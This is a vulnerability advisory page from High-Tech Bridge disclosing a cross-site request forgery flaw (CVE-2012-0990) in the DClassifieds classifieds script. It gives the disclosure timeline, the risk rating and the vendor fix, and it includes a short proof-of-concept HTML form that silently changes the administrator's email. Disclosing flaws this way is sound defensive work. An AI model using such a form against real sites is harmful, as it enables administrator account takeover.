Total Tests:
This Week:
Stay in Touch

Weekly newsletter on AI, Application Security & Cybercrime

Your data will stay confidential Private and Confidential

CSRF (Cross-Site Request Forgery) in DClassifieds

Advisory ID:HTB23067
Vendor: DClassifieds
Vulnerable Versions:0.1 final and probably prior
Tested Version:0.1 final
Advisory Publication:January 4, 2012 [without technical details]
Vendor Notification:January 4, 2012
Vendor Fix:January 4, 2012
Public Disclosure:January 25, 2012
Latest Update:January 27, 2012
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
CVE Reference:CVE-2012-0990
Risk Level:Medium
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in DClassifieds, which can be exploited to perform Сross-Site Request Forgery (CSRF) attacks.

1) Cross-site request forgery (CSRF) in DClassifieds: CVE-2012-0990
The application allows authorized users to perform certain actions via HTTP requests without making proper validity checks to verify the source of the requests. This can be exploited to add, delete or modify sensitive information, for example to change administrator's password or email.
An attacker should make logged-in administrator open a malicious link in the browser to exploit this vulnerability.
This PoC code will change administrator's email:
<form action="http://[host]/admin/settings/update/id/4" method="post">
<input type="hidden" name="Settings[setting_name]" value="CONTACT_EMAIL">
<input type="hidden" name="Settings[setting_value]" value="">
<input type="hidden" name="Settings[setting_description]" value="Contact email">
<input type="hidden" name="Settings[setting_show_in_admin]" value="1">
<input type="hidden" name="yt0" value="Save">
<input type="submit" id="btn">

How to Detect Cross-Site Request Forgery Vulnerabilities
Free Website Security Test
  • Non-intrusive GDPR Test
  • Non-intrusive PCI DSS Test
Try Free Test
ImmuniWeb® On-Demand
  • Complete GDPR Audit
  • Complete PCI DSS Audit
  • Remediation Guidelines
  • DevSecOps Integration
Learn More

Secunia suggest to apply csrf_fix_120105 patch.

[1] High-Tech Bridge Advisory HTB23067 - - CSRF (Cross-Site Request Forgery) in DClassifieds.
[2] DClassifieds - - DClassifieds Free Classifieds Script is free open source classifieds script based on Yii framework.
[3] Common Vulnerabilities and Exposures (CVE) - - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Ask a Question